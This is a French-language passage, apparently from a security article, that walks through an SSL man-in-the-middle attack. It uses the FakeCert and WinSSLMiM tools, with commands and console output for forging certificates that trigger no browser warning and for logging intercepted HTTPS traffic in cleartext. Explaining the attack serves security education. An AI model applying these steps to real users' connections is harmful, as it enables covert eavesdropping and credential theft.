SOURCE: SecuriteInfo.com
WinSSLMiM |



D:\>wsm -P >> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) << Waiting for connections...
Il se contente alors de simplement transmettre les requêtes et les réponses HTTP.
D:\>fc -s -f faux_certificat.crt >> FakeCert by Valgasu (valgasu@securiteinfo.com) << + Connection to https://+ Get X509 certificate + Make fake certificate + Save fake certificate to faux_certificat.crt
En comparant les certificats, il n’est plus aussi simple de savoir si l’utilisateur est victime d’une attaque ou si seulement l’émetteur (CA) n’est pas connu par le navigateur. Celui-ci possède de base un certain nombre de certificats de CA mais surement pas tous. Vrai certificat du serveur
Faux certificat généré par FakeCert Il suffit ensuite d’utiliser WinSSLMiM avec ce faux certificat.
D:\>wsm -f faux_certificat.crt -l d:\log.txt >> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) << Waiting for connections...
Cette fois-ci l’utilisateur reçoit une alerte moins inquiétante en apparence, surtout s’il vérifie le certificat : Si l’utilisateur accepte le certificat, WinSSLMiM enregistre en clair dans le fichier
log.txt
toutes les informations échangées entre le navigateur et le serveur.
D:\>fc -s -f trust_certificat.crt -t trust.crt >> FakeCert by Valgasu (valgasu@securiteinfo.com) << + Connection to https://+ Get X509 certificate + Make fake certificate + Load trusted certificate from trust.crt + Save fake certificate to trust_certificat.crt
Pour générer ce faux certificat, il faut un certificat authentifié, celui fournit par FakeCert est celui inclus dans l’outil sslsniff. Il reste à utiliser ce certificat avec WinSSLMiM.
D:\>wsm -f trust_certificat.crt -l d:\log.txt -t trust.crt >> WinSSLMiM by Valgasu (valgasu@securiteinfo.com) << Waiting for connections...
Cette fois-ci aucune alerte n’est émise par le navigateur (s’il s’agit de IE), l’attaque est considérée commme quasi parfaite car indétectable. Le certificat reçu est le suivant :
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